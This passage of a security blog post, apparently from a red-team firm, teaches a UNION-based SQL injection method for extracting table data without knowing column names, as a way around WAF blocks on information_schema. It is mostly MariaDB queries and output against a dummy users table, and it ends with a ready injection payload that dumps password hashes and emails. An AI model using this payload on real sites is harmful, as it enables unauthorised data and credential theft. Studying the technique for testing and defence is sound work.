@aboul3la<\/a>\u00a0we created a dummy SQL DB\u00a0simulating the target’s one and started searching for a method to extract data from the table without knowing columns names, Which we made after some searching mixed with a lot of trial and error.<\/p>\nExecuting the following normal query will return users table contents<\/p>\n
MariaDB [dummydb]> select * from users;\r\n+----+--------------+------------------------------------------+-----------------------------+------------+---------------------+\r\n| id | name | password | email | birthdate | added |\r\n+----+--------------+------------------------------------------+-----------------------------+------------+---------------------+\r\n| 1 | alias | a45d4e080fc185dfa223aea3d0c371b6cc180a37 | veronica80@example.org | 1981-05-03 | 1993-03-20 14:03:14 |\r\n| 2 | accusamus | 114fec39a7c9567e8250409d467fed64389a7bee | sawayn.amelie@example.com | 1979-10-28 | 2007-01-20 18:38:29 |\r\n| 3 | dolor | 7f796c9e61c32a5ec3c85fed794c00eee2381d73 | stefan41@example.com | 2005-11-16 | 1992-02-16 04:19:05 |\r\n| 4 | et | aaaf2b311a1cd97485be716a896f9c09aff55b96 | zwalsh@example.com | 2015-07-22 | 2014-03-05 22:57:18 |\r\n| 5 | voluptatibus | da16b4d9661c56bb448899d7b6d30060da014446 | pattie.medhurst@example.net | 1991-11-22 | 2005-12-04 20:38:41 |\r\n+----+--------------+------------------------------------------+-----------------------------+------------+---------------------+\r\n5 rows in set (0.00 sec)<\/pre>\nThe columns name, password, email, birthdate, added<\/span> were selected.<\/p>\nNext step is to convert columns names to any selectable known value,
MariaDB [dummydb]> select 1,2,3,4,5,6 union select * from users;\r\n+---+--------------+------------------------------------------+-----------------------------+------------+---------------------+\r\n| 1 | 2 | 3 | 4 | 5 | 6 |\r\n+---+--------------+------------------------------------------+-----------------------------+------------+---------------------+\r\n| 1 | 2 | 3 | 4 | 5 | 6 |\r\n| 1 | alias | a45d4e080fc185dfa223aea3d0c371b6cc180a37 | veronica80@example.org | 1981-05-03 | 1993-03-20 14:03:14 |\r\n| 2 | accusamus | 114fec39a7c9567e8250409d467fed64389a7bee | sawayn.amelie@example.com | 1979-10-28 | 2007-01-20 18:38:29 |\r\n| 3 | dolor | 7f796c9e61c32a5ec3c85fed794c00eee2381d73 | stefan41@example.com | 2005-11-16 | 1992-02-16 04:19:05 |\r\n| 4 | et | aaaf2b311a1cd97485be716a896f9c09aff55b96 | zwalsh@example.com | 2015-07-22 | 2014-03-05 22:57:18 |\r\n| 5 | voluptatibus | da16b4d9661c56bb448899d7b6d30060da014446 | pattie.medhurst@example.net | 1991-11-22 | 2005-12-04 20:38:41 |\r\n+---+--------------+------------------------------------------+-----------------------------+------------+---------------------+\r\n6 rows in set (0.00 sec)<\/pre>\nGreat, the columns names were replaced from name, password, email, birthdate, added\u00a0to 1, 2, 3, 4, 5, 6 just as we set at the \u00a0select 1,2,3,4,5,6<\/code>\u00a0part of the query<\/p>\nNext step is selecting the data based on the new numeric values which can be done selecting `field_number` from the previous query with adding any table alias.select `4` from (select 1,2,3,4,5,6 union select * from users)redforce;<\/code>\u00a0will select column number 4 which refer to the email address column,<\/p>\nMariaDB [dummydb]> select `4` from (select 1,2,3,4,5,6 union select * from users)redforce;\r\n+-----------------------------+\r\n| 4 |\r\n+-----------------------------+\r\n| 4 |\r\n| veronica80@example.org |\r\n| sawayn.amelie@example.com |\r\n| stefan41@example.com |\r\n| zwalsh@example.com |\r\n| pattie.medhurst@example.net |\r\n+-----------------------------+\r\n6 rows in set (0.00 sec)<\/pre>\nchanging that to 3 will return the password, 2 will return the name . . and so onMixing that with our injection payload will result in the final payload \u00a0-1 union select 1,(select `4` from (select 1,2,3,4,5,6 union select * from users)a limit 1,1)-- -<\/code>MariaDB [dummydb]> select author_id,title from posts where author_id=-1 union select 1,(select `2` from (select 1,2,3,4,5,6 union select * from users)a limit 1,1);\r\n+-----------+-------+\r\n| author_id | title |\r\n+-----------+-------+\r\n| 1 | alias |\r\n+-----------+-------+\r\n1 row in set (0.00 sec)\r\n\r\nMariaDB [dummydb]> select author_id,title from posts where author_id=-1 union select 1,(select `3` from (select 1,2,3,4,5,6 union select * from users)a limit 1,1);\r\n+-----------+------------------------------------------+\r\n| author_id | title |\r\n+-----------+------------------------------------------+\r\n| 1 | a45d4e080fc185dfa223aea3d0c371b6cc180a37 |\r\n+-----------+------------------------------------------+\r\n1 row in set (0.00 sec)\r\n\r\nMariaDB [dummydb]> select author_id,title from posts where author_id=-1 union select 1,(select `4` from (select 1,2,3,4,5,6 union select * from users)a limit 1,1);\r\n+-----------+------------------------+\r\n| author_id | title |\r\n+-----------+------------------------+\r\n| 1 | veronica80@example.org |\r\n+-----------+------------------------+\r\n1 row in set (0.00 sec)<\/pre>\n<\/span>In a nutshell<\/span><\/h2>\nYou can achieve that by selecting everything from the target’s table, converting the column names into any known values then using these values as a field in the select query
MariaDB [dummydb]> select author_id,title from posts where author_id=-1 union select 1,(select concat(`3`,0x3a,`4`) from (select 1,2,3,4,5,6 union select * from users)a limit 1,1);\r\n+-----------+-----------------------------------------------------------------+\r\n| author_id | title |\r\n+-----------+-----------------------------------------------------------------+\r\n| 1 | a45d4e080fc185dfa223aea3d0c371b6cc180a37:veronica80@example.org |\r\n+-----------+-----------------------------------------------------------------+<\/pre>\n<\/blockquote>\nHappy hacking<\/p>\n","protected":false},"excerpt":{"rendered":"
Extracting data without knowing columns names from MYSQL < 5 or in case of WAF blacklisting sending information_schema in the request\n<\/p>\n","protected":false},"author":2,"featured_media":342,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[29],"tags":[31,32,33],"class_list":["entry","author-a-sultan","has-excerpt","has-more-link","post-339","post","type-post","status-publish","format-standard","has-post-thumbnail","category-web-security","tag-bugbounty","tag-sql-injection","tag-waf-bypass"],"_links":{"self":[{"href":"https:\/\/blog.redforce.io\/api\/wp\/v2\/posts\/339","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.redforce.io\/api\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.redforce.io\/api\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.redforce.io\/api\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.redforce.io\/api\/wp\/v2\/comments?post=339"}],"version-history":[{"count":14,"href":"https:\/\/blog.redforce.io\/api\/wp\/v2\/posts\/339\/revisions"}],"predecessor-version":[{"id":414,"href":"https:\/\/blog.redforce.io\/api\/wp\/v2\/posts\/339\/revisions\/414"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.redforce.io\/api\/wp\/v2\/media\/342"}],"wp:attachment":[{"href":"https:\/\/blog.redforce.io\/api\/wp\/v2\/media?parent=339"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.redforce.io\/api\/wp\/v2\/categories?post=339"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.redforce.io\/api\/wp\/v2\/tags?post=339"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}